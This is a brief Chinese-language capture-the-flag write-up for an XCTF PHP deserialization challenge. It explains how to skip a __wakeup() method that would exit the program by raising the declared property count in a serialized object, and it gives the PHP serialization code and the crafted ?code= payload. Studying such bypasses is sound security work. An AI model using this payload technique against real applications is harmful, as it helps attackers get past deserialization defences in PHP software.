题目:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
解题思路:
wakeup()函数是在对象被反序列化之后被调用
但是这题如果这个函数被调用,那么程序就退出了,所以需要想办法绕过这个函数。
绕过wakeup函数执行
wakeup()有个执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行wakeup()函数,这算是一个绕过点
只要序列化的中的成员数大于实际成员数,即可绕过
new一个实例并将其序列化
<?php
class xctf
{
public $flag = '111';
public function __wakeup()
{
exit('bad requests');
}
}
$a = new xctf();
echo serialize($a);
?>
结果:
O:4:"xctf":1:{s:4:"flag";s:3:"111";}
上面的1代表的是对象里的参数值数,将其修改大于一即可
?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}